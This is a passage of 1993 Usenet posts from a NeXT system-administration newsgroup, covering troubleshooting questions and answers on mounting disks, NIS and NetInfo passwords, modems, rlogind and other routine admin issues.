In article <104.UUL1.3#16216@corona.com> pkron@corona.com (Peter Kron) writes:
I like to create pseudo-users to receive mail from mailing lists. This
sorts the mail into various mailboxes automatically.
The only problem is I have to log in to each user periodically to force
Mail.app to fetch the mail from /usr/spool/mail, which is tedious.
Can anyone give me a shell command to Mail.fetch (the service task that
does this job) that I could run from crontab? Running the app gives a
usage spec, but I am not sure what all the parameters mean.
Not quite what you asked for, but quite possibly a better solution for
your problem is to use procmail in conjunction with mailapp utilities
freely available from most major NeXT ftp sites like
nova.cc.purdue.edu and cs.orst.edu.
Carl Edman
From: anstine@uniblab.sas.upenn.edu (David Anstine)
Newsgroups: comp.sys.next.sysadmin
Subject: Password aging
Message-ID: <132072@netnews.upenn.edu>
Date: 18 Jun 93 17:18:12 GMT
Sender: news@netnews.upenn.edu
Is there a method for aging passwords in netinfo?
-dave
Newsgroups: comp.sys.next.sysadmin
From: francisr@indiana.edu (Rob Francis)
Subject: Re: Password aging
Message-ID: <C8u1rK.1EA@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
References: <132072@netnews.upenn.edu>
Date: Fri, 18 Jun 1993 19:50:08 GMT
David Anstine writes
> Is there a method for aging passwords in netinfo?
>
Afraid not. Hopefully, when/if they support aging, they support shadow
passwords as well.
-rob
francisr@indiana.edu
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
From: xinwei@otter.Stanford.EDU (Sha Xin Wei)
Subject: optical disk with bad block
Message-ID: <1993Jun18.194732.7214@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: DSO, Stanford University
Date: Fri, 18 Jun 93 19:47:32 GMT
Where can I find docs to help me fix a bad block on my optical? I have tried
fsck, and have checked the online docs + the man pages. In brief, the
diagnostic is "bitmap bad but no alternate found!".
Here's a history:
UPON INSERTING OPTICAL INTO MY NeXT, THE WORKSPACE SAID THE OPTICAL WAS
DAMAGED, SO I
OKAY'D "REPAIR"... WHICH FAILED. CONSOLE GAVE THE FOLLOWING WARNINGS
od0a: read failed (bitmap bad but no alternate found!) block 178720 phys block
180784 (15448:0:0)
/dev/rod0a: CANNOT READ: BLK 178720
/dev/rod0a: UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY.
od0a: read failed (bitmap bad but no alternate found!) block 178720 phys block
180784 (15448:0:0)
od0a: read failed (bitmap bad but no alternate found!) block 178720 phys block
180784 (15448:0:0)
od0a: read failed (bitmap bad but no alternate found!) block 178720 phys block
180784 (15448:0:0)
od0a: read failed (bitmap bad but no alternate found!) block 178720 phys block
180784 (15448:0:0)
sg0 (3,1): ERROR op:0x12 sd_state:4 scsi status:0x2
- -----------------------------------------------
SO I RAN FSCK...
otter:17# /usr/etc/fsck /dev/rod0a
** /dev/rod0a
** Last Mounted on /SHAarchive1
** Phase 1 - Check Blocks and Sizes
CANNOT READ: BLK 178720
CONTINUE? y
THE FOLLOWING SECTORS COULD NOT BE READ: 178720,
** Phase 2 - Check Pathnames
CANNOT READ: BLK 178720
CONTINUE? y
THE FOLLOWING SECTORS COULD NOT BE READ: 178720,
** Phase 3 - Check Connectivity
** Phase 4 - Check Reference Counts
** Phase 5 - Check Cyl groups
9571 files, 190679 used, 42387 free (1395 frags, 5124 blocks, 0.6%
fragmentation)
File system not may not be clean! Run fsck again to clean.
otter:18# /usr/etc/mount /dev/rod0a /SHAarchive1
- -----------------------------------------------
THE DISK STILL WOULD NOT MOUNT UPON INSERTION; WORKSPACE ASKED TO REPAIR IT.
HOW CAN I MANUALLY MOUNT THE OD?
(RERUNNING FSCK DIDN'T CLEAN THE DISK.)
mount: /dev/rod0a on /SHAarchive1: Block device required
mount: giving up on:
/SHAarchive1
- -----------------------------------------------
I TRIED TO GET SOME INFO.
disk> label
label information: print, write? pr
current label information on disk:
disk label version #3
disk label: SHAarchive1
disk name: omd-1
disk type: removable_rw_optical
ncyls 1029 ntrack 15 nsect 16 rpm 3000
sector_size 1024 front_porch 256 back_porch 256
ngroups 154 ag_size 1600 ag_alts 16 ag_off 784
boot blocks: #1 at 80 #2 at 168
bootfile: odmach
host name: localhost
root partition: a
part base size bsize fsize cpg density minfree newfs optim automount type
a 0 243936 8192 1024 3 4096 5% yes time yes 4.3BSD
- -----------------------------------------------
Sha Xin Wei
Stanford University
Newsgroups: comp.sys.next.sysadmin
From: craighil@sfc.sony.com (Nancy Craighill)
Subject: Help! Mount Entry for Local HD Not Working
Message-ID: <1993Jun18.211500.5660@sfc.sony.com>
Organization: Sony Advanced Video Technology Center
Date: Fri, 18 Jun 1993 21:15:00 GMT
I am trying to setup a NeXT machine as a file server that has
a external HD. I want to export the HD to my clients, but can't
get the darn thing to mount the HD at boot.
I followed the "Making a Mount Entry for a Hard Disk" on pg 185
of the new NeXTSTEP Network and System Admin Manual three times
with no success. Is there a bug in mount?
My /etc/fstab file looks like this:
/dev/sd0a / 4.3 rw,noquota,noauto 0 1
/dev/sd1a /renoir 4.3 rw,noquota,noauto 0 2
It looks to me like this line in the rc file is failing:
# Mount local filesystems (according to /etc/fstab).
mount -vat 4.3 >/dev/console 2>
&1
No matter what I put in the /etc/fstab file the disk is not mounted
at boot. It will only mount when someone logs in, which I don't want.
Is this a known problem? Does anyone have any ideas?
Thanks in advance.
Nancy
--
Nancy Craighill w(408)944-4994
AVTC, Sony Corporation of America fax(408)954-1027
685 River Oaks Parkway, M.S. 35 email: craighill@sfc.sony.com
San Jose, CA 95134-1907 USA
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin
From: sxuwan@fnma.com (William P. Nixon)
Subject: NIS Password Map Problems with 3.1
Message-ID: <1993Jun18.221218.591@almserv.uucp>
Followup-To: comp.sys.next.sysadmin
Sender: usenet@almserv.uucp
Organization: FannieMae, Washington, DC
Date: Fri, 18 Jun 1993 22:12:18 GMT
We are having problems using NIS with NeXTSTEP 3.1. We create a
user on our NIS server and make the maps. We go to the NeXT machine
to login as this new user and fail. If I login as root and su
to the new user, everything is fine, even with "su -". I can ypcat
and ypmatch the passwd file and everything looks good. If I su to
the new user not as root so I am forced to eneter the password, I get
"login failed.". It looks as if the NeXT machine is not matching the
encrypted password correctly. I wrote a one line c program which uses
the crypt() function to verify that it works and the encrypted string
matches the passwd map.
I even tried from the console window in text mode just to see errors
and it just fails.
Any ideas?
Background:
We have a RS/6000 running AIX as our NIS master server. We have one
486 running NeXTSTEP 3.1 (Gold) and one NeXTstation Turbo running
NeXTSTEP 3.1 (PR1). The two "NeXT" machines are bound to the NIS
domain.
--
bnixon@fnma.com or uunet!fnma.com!bnixon (NeXT Mail Okay)
Bill Nixon, Advanced Technology
FannieMae, 3900 Wisconsin Ave NW, Washington, DC 22016 (202) 752-5468
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
From: jspears@weston.com (Wes Spears)
Subject: Secure UUCP and SLIP/PPP Connections
Message-ID: <1993Jun18.180600.2241@weston.com>
Sender: jspears@weston.com (Wes Spears)
Date: Fri, 18 Jun 1993 18:06:00 GMT
I would like to get information from anyone who has a UUCP or SLIP/PPP
connection, and who was extremely concerned about security. What I would
ideally like are sources of information that you have found helpful, and
any pearls of wisdom that you could share.
Thanks
--
Wes Spears <-------> jspears@weston.com (NeXTMail Welcome)
The Weston Group
8524 Highway 6 North, 162, Houston, TX 77095
Newsgroups: comp.sys.next.sysadmin
From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: Help! Mount Entry for Local HD Not Working
Message-ID: <C8uEEG.MDn@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: University Computing Services
References: <1993Jun18.211500.5660@sfc.sony.com>
Date: Sat, 19 Jun 1993 00:23:03 GMT
In article <1993Jun18.211500.5660@sfc.sony.com> craighil@sfc.sony.com (Nancy Craighill) writes:
>Is there a bug in mount?
Yep.
>My /etc/fstab file looks like this:
>
>/dev/sd0a / 4.3 rw,noquota,noauto 0 1
>/dev/sd1a /renoir 4.3 rw,noquota,noauto 0 2
Take thhe 'noauto' out of your entry. Should work just fine after
that.
-rob
---
Rob Francis Unix Systems Specialist, Indiana University
francisr@indiana.edu (812)855-0327
From: ramesh@mishna.esys.cwru.edu (Ramesh Doddamani)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Please Help! Network not working
Date: 19 Jun 1993 03:06:58 GMT
Organization: Case Western Reserve University, Cleveland, Ohio (USA)
Message-ID: <1vtvsi$6o0@usenet.INS.CWRU.Edu>
Hello
I am trying to connect a 486 machine(with SMC card) running NEXTSTEP to a
NEXTStation. I have set up the 486 as the Netinfo server exactly following
the procedure given in the Network and System Administration Manual. Also
the NeXT is set up as a client machine. The problem is that the network is
not being recognised. Neither the NeXT nor the 486 can sense each other. I
have setup the ethernet card as specified by NeXT and it is recognised
during the bootup process. I am using a coaxial(thinwire) cable to connect
the machines. I am checking on the possibility that the cable could be
bad(which I think is unlikely).
This is an emergency and I would very much appreciate if somebody could
help me.
Thanks is advance.
Ramesh
--
********************************************************************
Ramesh Dodamani <<REPLY TO rxd20@po.cwru.edu>>
Case Western Reserve University
Cleveland OHIO
********************************************************************
From: penney@cl-next4.cl.msu.edu (Chris Penney)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: etherfind for NeXT?
Date: 19 Jun 1993 03:25:19 GMT
Organization: Michigan State University
Message-ID: <1vu0uv$mm7@msuinfo.cl.msu.edu>
References: <scott.739795546@shrug>
I remember a while back someone was working on makeing a NeXT app out of
etherfind. It involved doing some kernel work. Anyone remember... or
know of the status. Etherfind is such a fundamental (and handy) tool it
is a shame it isn't part of 3.0 (yeah, that would give all root's access
to a dangerous too, but... ).
-=Chris=-
Scott A. McIntyre (S.A.McIntyre@durham.ac.uk) wrote:
: I'm interested in doing some serious network adminstration and
: nosing about, and know that the sun etherfind thing does pretty
: much what I want, but I've never seen it in soruce form..
: Are there any tools for the NeXT that allow serious investigation
: of ethernet packets? Not just counting, but displaying, getting
: ethernet addresses from IP and so on?
: Any help appreciated,
: Scott
: --
: EMAIL: S.A.McIntyre@durham.ac.uk OR scott@shrug.dur.ac.uk (NeXTmail)
: SNAIL: Pyschment of Departology, University of Durham, Durham, DH1 3LE
: "Did you know that the computer invented itself?" - SNL
--
==== ====
= Christopher C. Penney E-mail: penney@convex.msu.edu =
= Computer Consultant Office: 110 Computer Center =
= ACM Vice Chairman Michigan State University =
= CASE Center Advisory Council Member East Lansing, Michingan =
==== ====
Newsgroups: comp.sys.next.sysadmin
From: ben@frogware.com (Ben Bernhard)
Subject: Nice fast modem is slow, Why?
Message-ID: <1993Jun17.010021.270@frogware.com>
Sender: ben@frogware.com
Organization: frogware
Date: Thu, 17 Jun 1993 01:00:21 GMT
I know that this has been covered before, but I didn't pay attention. My new
14.4 modem is only receiving (through UUCP) at about 5500 pbs. Why??
How (in some detail if possible , I'm not a unix guru) do I get up to full
speed??
thanks for any help,
ben
--
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Ben Bernhard
frogware
ben@frogware.com
From: peter@rhea.teorfys.uu.se (Peter Trygg)
Newsgroups: comp.sys.next.sysadmin
Subject: Netinfo error
Date: 19 Jun 1993 14:51:14 GMT
Organization: Uppsala University
Message-ID: <1vv952$iho@corax.udac.uu.se>
Keywords: netinfo problems
When opening a subdomain from the server
I get the error message:
Domain selected failed to open
Any ideas?
Peter
Peter Trygg rhea@peter@teorfys.uu.se
Dept. of Th. Physics
Uppsala University
Newsgroups: comp.sys.next.sysadmin
From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: Nice fast modem is slow, Why?
Message-ID: <C8vwJD.EAH@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: University Computing Services
References: <1993Jun17.010021.270@frogware.com>
Date: Sat, 19 Jun 1993 19:52:25 GMT
In article <1993Jun17.010021.270@frogware.com> ben@frogware.com (Ben Bernhard) writes:
>I know that this has been covered before, but I didn't pay attention. My new
>14.4 modem is only receiving (through UUCP) at about 5500 pbs. Why??
>How (in some detail if possible , I'm not a unix guru) do I get up to full
>speed??
>
Presumably, the modems your connecting to aren't capable of 14.4 (In your
case Ben, I *know* that's the case (-: ). Your modem is probably
negotiating with the other modem deciding what to agree on as a
transfer rate and coming up with a low rate.
You might try the following as an init string for your modem:
AT N0 \N2 S37=9
-rob
francisr@indiana.edu
Newsgroups: comp.sys.next.sysadmin
From: jpw@sansfoy.lib.virginia.edu (John Price-Wilkin)
Subject: booting from CD-ROM, or HELP
Message-ID: <C8vyCE.8Kx@murdoch.acc.Virginia.EDU>
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: University of Virginia
Date: Sat, 19 Jun 1993 20:31:26 GMT
I've got a NeXT down with a / filesystem full, panic message. I can't
boot in single user mode. Is there a way? Can I boot from the CD-ROM instead? A
b od(2) -s
doesn't work ("no optical disk" message)
John Price-Wilkin
jpw@virginia.edu
From: glenn@rightbrain.com (Glenn Reid)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Mac disks not recognized under 3.0
Message-ID: <1244@rtbrain.rightbrain.com>
Date: 19 Jun 93 21:05:18 GMT
References: <1993Jun17.033625.872@imani.cam.org>
Sender: glenn@rightbrain.com
Nicolas Dore writes
> [Disk won't appear as Mac disk when inserted]
Dollars to donuts it's formatted as an 800K disk, which isn't recognized
by NEXTSTEP. It's got to be a HD disk formatted for 1.4Mb.
--
Glenn Reid NeXTmail: glenn@rightbrain.com
RightBrain Software 415-326-2974 (NeXTfax 326-2977)
Palo Alto, California Electronic Frontier Foundation, member #054
Newsgroups: comp.sys.next.sysadmin
From: jpw@sansfoy.lib.virginia.edu (John Price-Wilkin)
Subject: why such huge expansion of vm?
Message-ID: <C8wH1H.AJ9@murdoch.acc.Virginia.EDU>
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: University of Virginia
Date: Sun, 20 Jun 1993 03:15:17 GMT
I left for part of the week and returned to find all of the spare 180M of
my internal drive filled. Why? The vm had grown to immense proportions. The machine is used as a gopher server, and in this regard it hasn't ever had this sort of problem before. It's also used to spool usenet mail off a list and make gopherized material from it, and this represents a ver
y large amount of material. But the machine has been doing this for two months, every hour on the hour, with no problem. The only other variable is that I just added a new (1G) external drive, but again this is something I've done before without any problems. Can anyone tell me why this happened and what I can do to prevent it in the future?
John Price-Wilkin
jpw@virginia.edu
From: gwh@cs.mcgill.ca (Gene W HOMICKI)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Nextdimension memory (how much ya got)
Date: 20 Jun 1993 05:35:05 GMT
Organization: SOCS, McGill University, Montreal, Canada
Message-ID: <200su9$lon@homer.cs.mcgill.ca>
References: <1993Jun16.154435.23566@serval.net.wsu.edu> <1993Jun16.100632.7116@resonex.com>
Keywords: nextdimension memory limit
At bootup time, a message should be displayed telling you how much
memory is installed on your dimension board. If you leave those silly
bootup tiffs up and don't watch the messages as your machine boots up,
just check out the /usr/adm/messages file.
--Gene
gwh@cs.mcgill.ca
PS 'grep video /usr/adm/messages' should do the trick.
From: nico@imani.cam.org (Nicolas Dore)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Mac disks not recognized under 3.0
Message-ID: <1993Jun20.071838.651@imani.cam.org>
Date: 20 Jun 93 07:18:38 GMT
References: <1244@rtbrain.rightbrain.com>
Sender: nico@imani.cam.org
In article <1244@rtbrain.rightbrain.com> glenn@rightbrain.com (Glenn Reid) writes:
> Nicolas Dore writes
>
> > [Disk won't appear as Mac disk when inserted]
>
> Dollars to donuts it's formatted as an 800K disk, which isn't recognized
> by NEXTSTEP. It's got to be a HD disk formatted for 1.4Mb.
Well, _DONUTS_! What do think I am? A DOS user?!? 8^)>
I'm from the Mac world, so them DD/HD problems I've had before. As I said in my
post, putting NeXT or DOS disks in did not change the fact that the "Macintosh"
format button was unavailable. It just wasn't there.
Now, for the answer.
If this happens to you, Check under /etc/filesystems. You should see, amongst
other things something called "mac.fs" (in my case it had been changed to
"mac.fs.SAVED", to let Executor's "HFS_XFer.fs" do its thing, therefore ***king up
the WS. Removing ".SAVED" cured it all. Still can't read 800k Mac disks,
thought... Duuuh 8^)> ). Otherwise, Mac disks are not recognized.
Now, wasn't that simple? (after Magnus Nordborg wrote me, it was! Thanks a million
times guy.)
Thanksalso to all those who tried to help. Nice to know you're out there. 8^)>
Ciao
> --
> Glenn Reid NeXTmail: glenn@rightbrain.com
> RightBrain Software 415-326-2974 (NeXTfax 326-2977)
> Palo Alto, California Electronic Frontier Foundation, member
#054
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>"Si la classe ouvriere ne nous satisfait plus, nous la destituerons<
> et en elirons une autre" B. Brecht (ne parlant pas d'informatique)<
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Password aging
Date: 20 Jun 1993 08:56:05 -0500
Organization: University of Illinois at Urbana
Message-ID: <201qa3$pk4@ux1.cso.uiuc.edu>
References: <132072@netnews.upenn.edu> <C8u1rK.1EA@usenet.ucs.indiana.edu>
francisr@indiana.edu (Rob Francis) writes:
>David Anstine writes
>> Is there a method for aging passwords in netinfo?
>>
>Afraid not. Hopefully, when/if they support aging, they support shadow
>passwords as well.
Remember, this is UNIX. There is a way to do everything. It's just
that it's not built-in to the system in this case.
One way to do it is to replace /bin/passwd and the Preferences
Password changing module with something that encrypts using a seed
based upon the user's name combined with the date. Then, write a
script that periodically scans though the password information
stored in netinfo and checks seeds vs. the current date. It can
turn off passwords, or mail to supervisors, or whatever you want.
--
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University of Illinois Computing & Comm Services Office System Administrator
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
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Subject: Re: Password aging
Message-ID: <1993Jun20.142431.1379@urz.unibas.ch>
From: frank@ifi.unibas.ch (Robert Frank)
Date: Sun, 20 Jun 1993 14:24:31 GMT
Sender: news@urz.unibas.ch (USENET News System)
References: <C8u1rK.1EA@usenet.ucs.indiana.edu>
Organization: Institut fuer Informatik
In article <C8u1rK.1EA@usenet.ucs.indiana.edu> writes:
> David Anstine writes
> > Is there a method for aging passwords in netinfo?
> >
>
> Afraid not. Hopefully, when/if they support aging, they support shadow
> passwords as well.
Can only mean you are not running netinfo. With netinfo, all information is
hidden anyway and you can, if you want to, restrict nidump to root only.
The /etc/passwd file is meanginless with netinfo running.
-Robert
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Institut fuer Informatik fax + (061) 321 99 15
University of Basel, Switzerland
Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted)
CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch
( if all fails try frank@urz.unibas.ch )
From: matthews@is-next.umd.edu (Mike Matthews)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Password aging
Message-ID: <202113$hen@umd5.umd.edu>
Date: 20 Jun 93 15:50:59 GMT
References: <C8u1rK.1EA@usenet.ucs.indiana.edu> <1993Jun20.142431.1379@urz.unibas.ch>
Organization: University Of Maryland, College Park, MD
In article <1993Jun20.142431.1379@urz.unibas.ch> frank@ifi.unibas.ch writes:
>Can only mean you are not running netinfo. With netinfo, all information is
>hidden anyway and you can, if you want to, restrict nidump to root only.
You'd also have to restrict niutil. For that matter, you'd have to restrict
the getpwent() system call, which, well, you can't.
And, if you don't have trusted_networks set up, anyone who can get to your
machine by a network can suck your password file down.
Without something like a _readers property, NeXTs can not have shadow
passwords.
>-Robert
------
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------
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asked the father of his little son.
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From: S.A.McIntyre@durham.ac.uk (Scott A. McIntyre)
Subject: Re: 3.1 user upgrade
Message-ID: <scott.740586911@shrug>
Organization: University of Newcastle upon Tyne, UK, NE1 7RU
Date: Sun, 20 Jun 1993 14:35:11 GMT
References: <1993Jun17.225031.212@azetsys.uucp>
I'm dying to know:
Has anyone on Black with 3.1 had the proliferation of <mach-tasks>
or are they really gone?
Thanks.
Scott
--
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SNAIL: Pyschment of Departology, University of Durham, Durham, DH1 3LE
"Did you know that the computer invented itself?" - SNL
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From: stefan@flens.toppoint.de (Stefan Preuss)
Subject: shutdown script?
Organization: Sydlink e.V.
Date: Sun, 20 Jun 1993 14:03:12 GMT
Message-ID: <1993Jun20.140312.5870@flens.toppoint.de>
Hi,
where is a good place for my local shutdown script (/etc/shutdown seems to be
an executable)? It should be executed just before my NeXT is going to
powerdown or reboot.
stefan
--
Stefan Preuss stefan@flens.toppoint.de
From: nevai@math.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin
Subject: in OS 3.1 those annoying <mach-task>'s are reduced (?) (I think: yes)
Date: 20 Jun 1993 18:54:35 GMT
Organization: Department of Mathematics, The Ohio State University
Sender: Paul Nevai
Distribution: world
Message-ID: <202bpb$k15@mathserv.mps.ohio-state.edu>
Originator: nevai@ops.mps.ohio-state.edu
Am I right in observing that in OS 3.1 those annoying <mach-task>'s are
reduced? Take care...Paul
Paul Nevai nevai@math.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
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From: isca@icaen.uiowa.edu (Iowa Student Computer Assoc)
Subject: rlogind is broken, anyone have a fixed version?
Sender: news@news.uiowa.edu (News)
Message-ID: <1993Jun20.220650.8506@news.uiowa.edu>
Date: Sun, 20 Jun 1993 22:06:50 GMT
Organization: University of Iowa, Iowa City, IA, USA
For those of you lucky enough to have either Macs running A/UX or
HP/Apollos running Domain/OS, you've probably found the problem I have...
Both rlogind and telnetd seem to be broken - when connecting from either
of the above systems to a NeXT, the connection drops characters. It appears
that the NeXT is trying to do option negotiation that is not understood.
The fix is to get net sources and recompile. I fixed telnetd with this, but
I've not found a good rlogind that makes successfully. Before I go to the
work of doing this, has anyone else fixed this?
(BTW this bug has been in every version I've used - 2.1 to 3.1)
Thanks!
- dave
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From: mark@xexos.com (Mark Chamberlain)
Subject: Re: Password aging
Message-ID: <1993Jun20.152907.23020@xexos.com>
Sender: news@xexos.com
Organization: Xexos, Ltd (London)
References: <201qa3$pk4@ux1.cso.uiuc.edu>
Date: Sun, 20 Jun 1993 15:29:07 GMT
In article <201qa3$pk4@ux1.cso.uiuc.edu> lemson@ux1.cso.uiuc.edu (David Lemson)
writes:
> francisr@indiana.edu (Rob Francis) writes:
>
> >David Anstine writes
> >> Is there a method for aging passwords in netinfo?
> >>
>
> >Afraid not. Hopefully, when/if they support aging, they support shadow
> >passwords as well.
> Remember, this is UNIX. There is a way to do everything. It's just
> that it's not built-in to the system in this case.
> One way to do it is to replace /bin/passwd and the Preferences
> Password changing module with something that encrypts using a seed
> based upon the user's name combined with the date. Then, write a
> script that periodically scans though the password information
> stored in netinfo and checks seeds vs. the current date. It can
> turn off passwords, or mail to supervisors, or whatever you want.
And we have a product, PassKey which does exactly this. Replacement password
preferences module and a loginhook program that checks things when users log
in. Passwords can be set to expire every x days, you can set minimum
lengths/uniqueness etc. Everything is stored in netinfo, and works by domain,
so you can set stronger password checking by domain etc.
Mail paul@xexos.com for full details.
--
Mark Chamberlain +44 71 237 4535
Xexos Ltd fax +44 71 231 0844
London mark@xexos.com
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From: nathan@laplace.csb.yale.edu (Nathan F. Janette)
Subject: Re: rlogind is broken, anyone have a fixed version?
Message-ID: <1993Jun21.013632.18881@cs.yale.edu>
Sender: news@cs.yale.edu (Usenet News)
Organization: Yale University, Department of Computer Science, New Haven, CT
References: <1993Jun20.220650.8506@news.uiowa.edu>
Date: Mon, 21 Jun 1993 01:36:32 GMT
In article <1993Jun20.220650.8506@news.uiowa.edu> isca@icaen.uiowa.edu (Iowa
Student Computer Assoc) writes:
> For those of you lucky enough to have either Macs running A/UX or
> HP/Apollos running Domain/OS, you've probably found the problem I have...
> Both rlogind and telnetd seem to be broken - when connecting from either
> of the above systems to a NeXT, the connection drops characters. It
appears
> that the NeXT is trying to do option negotiation that is not understood.
> The fix is to get net sources and recompile. I fixed telnetd with this,
but
> I've not found a good rlogind that makes successfully. Before I go to the
> work of doing this, has anyone else fixed this?
> (BTW this bug has been in every version I've used - 2.1 to 3.1)
I believe the bug is on the other foot. NeXT updated at least ftp in 2.1,
and some older ftp versions can't cope with the newer version. I kept the
version from 1.0 around for a while to "fix" this problem.
--
Nathan "USENET" Janette
PPP link from hilbert.csb.yale.edu
Please reply to: nathan@laplace.csb.yale.edu (NeXT)
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From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: rlogind is broken, anyone have a fixed version?
Message-ID: <C8yCJE.1KH@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: University Computing Services
References: <1993Jun20.220650.8506@news.uiowa.edu>
Date: Mon, 21 Jun 1993 03:33:14 GMT
In article <1993Jun20.220650.8506@news.uiowa.edu> isca@icaen.uiowa.edu (Iowa Student Computer Assoc) writes:
> For those of you lucky enough to have either Macs running A/UX or
>HP/Apollos running Domain/OS, you've probably found the problem I have...
>Both rlogind and telnetd seem to be broken - when connecting from either
>of the above systems to a NeXT, the connection drops characters.
I always got around this by having the following in my .login:
stty -extproc
I login from SunOS, AIX, HP-UX, Irix and Solaris w/o problems.
-rob
---
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francisr@indiana.edu (812)855-0327
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From: atownley@cs.umr.edu (Andrew S. Townley)
Subject: Annoying problem with whoami and NS2.1
Date: Mon, 21 Jun 1993 05:52:42 GMT
Organization: University of Missouri - Rolla, Rolla, MO
Sender: atownley@cs.umr.edu
Summary: my userid isn't who it should be, thinks i'm root
Message-ID: <1993Jun21.055242.9650@umr.edu>
I have a small problem with the account that I use all the
time on my soon-to-not-be standalone NeXTcube. I'm running
2.1 Extended (I know, I know... upgrade).
The problem is that I have a regular user account on my
machine, atownley, and when I do a 'whoami' from my atownley
account, logged in on console I get the following
excalibur> whoami
root
I was trying to install the new version of gcc and I was
su'd to root. I wanted to change my root password and this
is what I got:
excalibur> su root
Password:
excalibur# passwd
Changing password for atownley.
I thougt this was a little disconcerting. I also typed mail
as root and got:
excalibur# mail
No mail for atownley
If anyone could help me with this, I'd appreciate it. I'm
not really sure what to do. I'm not a total novice to my
NeXT or to unix in general and I have a friend who is
sysadmin for the CS department here at UMR and he didn't
have any solutions either, so I'm at a loss.
Thanks in advance for the help,
ast
Andrew S. Townley
atownley@cs.umr.edu (NeXTmail)
p.s. Please respond via e-mail as I'm pretty busy and so
don't usually get to read netnews any more :(
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Subject: cmsg cancel <1993Jun21.054934.9578@umr.edu>
References: <1993Jun21.054934.9578@umr.edu>
Date: Mon, 21 Jun 1993 05:55:31 GMT
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From: thor@cs.tu-berlin.de (Thorsten Albrecht)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,de.comp.sys.next
Subject: Re: Printing with HP ink
Date: 21 Jun 1993 07:43:57 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <203ort$ehq@news.cs.tu-berlin.de>
References: <1tvfg5$k78@news.cs.tu-berlin.de> <1993May26.125431.19291@rchland.ibm.com>
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Keywords: HP-Deskjet, Printing Driver and 2.0
tpg@rchland.vnet.ibm.com (Terry Gliedt) writes:
>In article <1tvfg5$k78@news.cs.tu-berlin.de>, gonzo@cs.tu-berlin.de (S. F. Ruehauf) writes:
>|> is there a driver for a HP DeskJet Printer available in the PD?
>|> Somebody want to give me one of these for nil and I just would
>|> like to know, how much work it is to use it with my NeXT.
>|>
>|> does it work with 2.0??
>There are a couple of options for using a DJ. There is a commercial package
>called Dots that isn't particularly expensive. There is also software at orst
>and sonata to provide support for the DJ.
>I do not believe the serial support in 2.0 is good enough for anything. In order
>to use the DJ, you will need to upgrade to 2.1 at least.
I tried to print with 040 + 2.0 + HP 500 + custom made cable + dj-filter
and my serial port (and the rest) worked fine :-) !
Greetings, Thorsten
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Subject: Re: rlogind is broken, anyone have a fixed version?
Message-ID: <1993Jun21.084646.3493@urz.unibas.ch>
From: frank@ifi.unibas.ch (Robert Frank)
Date: Mon, 21 Jun 1993 08:46:46 GMT
Sender: news@urz.unibas.ch (USENET News System)
References: <C8yCJE.1KH@usenet.ucs.indiana.edu>
Organization: Institut fuer Informatik
In article <C8yCJE.1KH@usenet.ucs.indiana.edu> writes:
> In article <1993Jun20.220650.8506@news.uiowa.edu> isca@icaen.uiowa.edu (Iowa
Student Computer Assoc) writes:
> > For those of you lucky enough to have either Macs running A/UX or
> >HP/Apollos running Domain/OS, you've probably found the problem I have...
> >Both rlogind and telnetd seem to be broken - when connecting from either
> >of the above systems to a NeXT, the connection drops characters.
>
> I always got around this by having the following in my .login:
>
> stty -extproc
>
>
> I login from SunOS, AIX, HP-UX, Irix and Solaris w/o problems.
>
Couldn't find that option in the man pages. It is accepted by stty though, but
what is it supposed to do? Over here it DOESN'T eliminate the problem described
by the original poster - characters still get lost when telneting from a Mac
(and ONLY from a Mac, all other systems [PC,OS-9,Ultrix,VMS,...] are ok).
--
Robert Frank tel. + (061) 321 99 67
Institut fuer Informatik fax + (061) 321 99 15
University of Basel, Switzerland
Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted)
CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch
( if all fails try frank@urz.unibas.ch )
From: edbson@sionext.uio.no (Stein Onsrud)
Newsgroups: comp.sys.next.sysadmin
Subject: remote login won t work
Message-ID: <204cd4$52m@hermod.uio.no>
Date: 21 Jun 93 13:17:24 GMT
Organization: University of Oslo
Hello
I have a problem with telnet, and rlogin to one of our NeXT machines.
When i try to log in to the machine, it throws me out with the following
explanation "connection closed by foreign host", WHY ??
Stein Onsrud
SiO Data
Norway
From: agm@doc.ic.ac.uk (Axel G Merk)
Newsgroups: comp.sys.next.sysadmin
Subject: NS for Intel installation on IBM Thinkpad [Microchannel architecture]
